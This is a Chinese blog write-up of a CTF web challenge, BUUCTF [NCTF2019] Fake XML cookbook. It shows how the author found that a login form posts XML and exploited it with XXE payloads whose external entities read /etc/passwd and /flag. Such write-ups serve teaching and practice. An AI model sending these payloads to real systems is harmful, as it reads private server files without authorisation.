
BUUCTF [NCTF2019] Fake XML cookbook

Senimo_  于 2021-01-03 17:26:50 发布  291  收藏 2
分类专栏： BUUCTF WEB Writeup 文章标签： BUUCTF NCTF2019 FakeXMLcookbook writeup CTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44037296/article/details/111937934
版权

 BUUCTF WEB Writeup 专栏收录该内容
65 篇文章 9 订阅
订阅专栏

[NCTF2019]Fake XML cookbook

考点：考点：

1. XXE攻击原理

启动环境：

https://blog.csdn.net/weixin_44037296
https://blog.csdn.net/weixin_44037296/category_9832650.html
https://so.csdn.net/so/search/s.do?q=BUUCTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=NCTF2019&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=FakeXMLcookbook&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_44037296/article/details/111937934
https://blog.csdn.net/weixin_44037296/category_9832650.html
https://www.freebuf.com/vuls/175451.html


由题目提示，猜测为XXE漏洞。

查看网页源码：



<script type='text/javascript'> 
function doLogin(){
 var username = $("#username").val();
 var password = $("#password").val();
 if(username == "" || password == ""){
  alert("Please enter the username and password!");
  return;
 }
 
 var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
         var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
         var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
         if(code == "0"){
          $(".msg").text(msg + " login fail!");
         }else if(code == "1"){
          $(".msg").text(msg + " login success!");
         }else{
          $(".msg").text("error:" + msg);
         }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}
</script>



首先尝试登陆：

使用BurpSuite抓取数据包：

看到了其中的XML代码：

<user><username>admin</username><password>admin</password></user>

XML用来传输存储数据，在后台解析XML时，没有禁止外部实体加载，构造payload：



<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>



使用Repeater发送数据包；

得到回显：

其中成功读取了 /etc/passwd文件的内容，flag通常在根目录下，构造payload：



<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

得到flag：
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